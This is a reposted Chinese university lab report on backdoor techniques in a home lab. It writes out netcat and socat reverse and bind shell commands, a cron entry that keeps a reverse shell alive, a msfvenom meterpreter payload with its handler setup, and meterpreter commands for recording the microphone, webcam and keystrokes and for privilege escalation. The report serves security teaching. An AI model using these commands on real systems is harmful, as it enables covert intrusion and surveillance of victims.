2018-2019-2 网络对抗技术 20165328 Exp2 后门原理与实践
實驗內(nèi)容:
任務(wù)一:使用netcat獲取主機操作Shell,cron啟動
任務(wù)二:使用socat獲取主機操作Shell, 任務(wù)計劃啟動
任務(wù)三:使用MSF meterpreter(或其他軟件)生成可執(zhí)行文件,利用ncat或socat傳送到主機并運行獲取主機Shell
任務(wù)四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內(nèi)容,并嘗試提權(quán)
任務(wù)五:可選加分內(nèi)容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
基礎(chǔ)問題問答:
(1)例舉你能想到的一個后門進入到你系統(tǒng)中的可能方式?
捆綁在軟件中
注入在可執(zhí)行文件里
注入在office文件的宏里面
(2)例舉你知道的后門如何啟動起來(win及l(fā)inux)的方式?
更改名字偽裝成其他程序
Linux可以使用cron啟動
Windows下通過任務(wù)計劃來啟動后門程序
(3)Meterpreter有哪些給你映像深刻的功能?
獲取攝像頭權(quán)限進行拍照
獲取麥克風(fēng)權(quán)限進行錄音
(4)如何發(fā)現(xiàn)自己有系統(tǒng)有沒有被安裝后門?
殺毒軟件進行掃描,沒做過免殺的直接就能被掃出來
觀察進程以及端口,看看有沒有異常
在Windows下使用ipconfig查看本機IP
?
使用ncat.exe程序打開監(jiān)聽ncat.exe -l -p 5328
?
在kali中反彈連接Windows,netcat 192.168.1.200 5328 -e /bin/sh,使用-e選項執(zhí)行shell程序
?
Windows成功獲得kali的shell
?
Linux獲得Windows Shell
由于我是直接從其他同學(xué)處拷貝的資源,所以圖中含有其他同學(xué)做好的文件
在kali中使用ifconfig查看IP
?
打開監(jiān)聽nc -l -p 5328
?
在Windows中反彈連接kali
?
kali成功獲得Windows的命令提示
?
使用nc傳輸數(shù)據(jù)
Windows下監(jiān)聽5328端口,ncat.exe -l 5328
kali反彈連接到Windows的5328端口,nc 192.168.1.200 5328
連接建立成功,雙方可以相互傳輸數(shù)據(jù)
?
使用nc傳輸文件
Windows下監(jiān)聽5328端口,并把收到的數(shù)據(jù)保存到file1.out中,ncat.exe -l 5328 > file1.out
kali反彈連接到Windows的5328端口,nc 192.168.1.200 5328 < file1.in
?
連接建立成功,Win可以收到kali發(fā)來的文件。
實驗步驟:
任務(wù)一:使用netcat獲取主機操作Shell,cron啟動
Cron是Linux下的定時任務(wù),每一分鐘運行一次,根據(jù)配置文件執(zhí)行預(yù)設(shè)的指令。詳細說明可以"man cron"。
在Windows系統(tǒng)下,監(jiān)聽5328端口。
在Kali環(huán)境下,用crontab -e指令編輯一條定時任務(wù)。
在最后一行添加57 * * * * /bin/netcat 192.168.1.156 5328 -e /bin/sh,意思是在每個小時的第55分鐘反向連接Windows主機的5328端口。
?
時間到達58分鐘時反向連接Windows主機的5328端口
實驗一完成。
任務(wù)二:使用socat獲取主機操作Shell, 任務(wù)計劃啟動
socat:
- socat是ncat的增強版,它使用的格式是socat [options],其中兩個address是必選項,而options是可選項。
- socat的基本功能就是建立兩個雙向的字節(jié)流,數(shù)據(jù)就在其間傳輸,參數(shù)address就是代表了其中的一個方向。所謂流,代表了數(shù)據(jù)的流向,而數(shù)據(jù)則可以有許多不同的類型,命令中也就相應(yīng)需要許多選項對各種不同的類型數(shù)據(jù)流進行限定與說明。
- 搜索打開“計算機管理”
在“任務(wù)計劃程序”中“創(chuàng)建任務(wù)”
填寫任務(wù)名->新建一個觸發(fā)器
?
在操作->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數(shù)一欄填寫tcp-listen:5328 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe綁定到端口5328,同時把cmd.exe的stderr重定向到stdout上:
創(chuàng)建完成之后,按Windows+L快捷鍵鎖定計算機,再次打開時,可以發(fā)現(xiàn)之前創(chuàng)建的任務(wù)已經(jīng)開始運行
?
此時,在Kali環(huán)境下輸入指令socat - tcp:192.168.1.200:5328,這里的第一個參數(shù)-代表標準的輸入輸出,第二個流連接到Windows主機的5328端口,此時可以發(fā)現(xiàn)已經(jīng)成功獲得了一個cmd shell
?
第二個任務(wù)完成。
任務(wù)三:使用MSF meterpreter(或其他軟件)生成可執(zhí)行文件,利用ncat或socat傳送到主機并運行獲取主機Shell
在Kali上執(zhí)行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=5328 -f exe > 20165328_backdoor.exe,可見已經(jīng)生成了后門程序“20165328_backdoor.exe”
?
在Windows下執(zhí)行ncat.exe -l 5328 > 20165328_backdoor.exe,這樣被控主機就進入了接收文件模式。
?
在Linux中執(zhí)行nc 192.168.1.200 5328 < 20165328_backdoor.exe,注意這里的IP為被控主機IP,即WindowsIP
傳送接收文件成功,如下圖所示
?
在Kali上使用msfconsole指令進入msf控制臺。
?
輸入use exploit/multi/handler使用監(jiān)聽模塊,設(shè)置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后門程序時相同的payload
set LHOST 192.168.1.200,這里用的是LinuxIP,和生成后門程序時指定的IP相同
set LPORT 5328,同樣要使用相同的端口
?
運行Windows下的后門程序
?
此時Kali上已經(jīng)獲得了Windows主機的連接,并且得到了遠程控制的shell
?
第三個任務(wù)完成。
?
任務(wù)四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內(nèi)容,并嘗試提權(quán)
使用record_mic指令可以截獲一段音頻。
?
使用webcam_snap指令可以使用攝像頭進行拍照
?
使用keyscan_start指令開始記錄下?lián)翩I的過程,使用keyscan_dump指令讀取擊鍵的記錄
?
使用screenshot指令可以進行截屏,效果如下:
?
先使用getuid指令查看當(dāng)前用戶,使用getsystem指令進行提權(quán)
?
第四個任務(wù)完成。
實驗中遇到的問題及解決方法:
由于之前沒有關(guān)閉防火墻和安全管家,導(dǎo)致之前的實驗問題百出,關(guān)閉后就能夠正常進行實驗了。
?
轉(zhuǎn)載于:https://www.cnblogs.com/dky20165328/p/10589364.html
總結(jié)
以上是生活随笔為你收集整理的2018-2019-2 网络对抗技术 20165328 Exp2 后门原理与实践的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python 考试练习
- 下一篇: 短信验证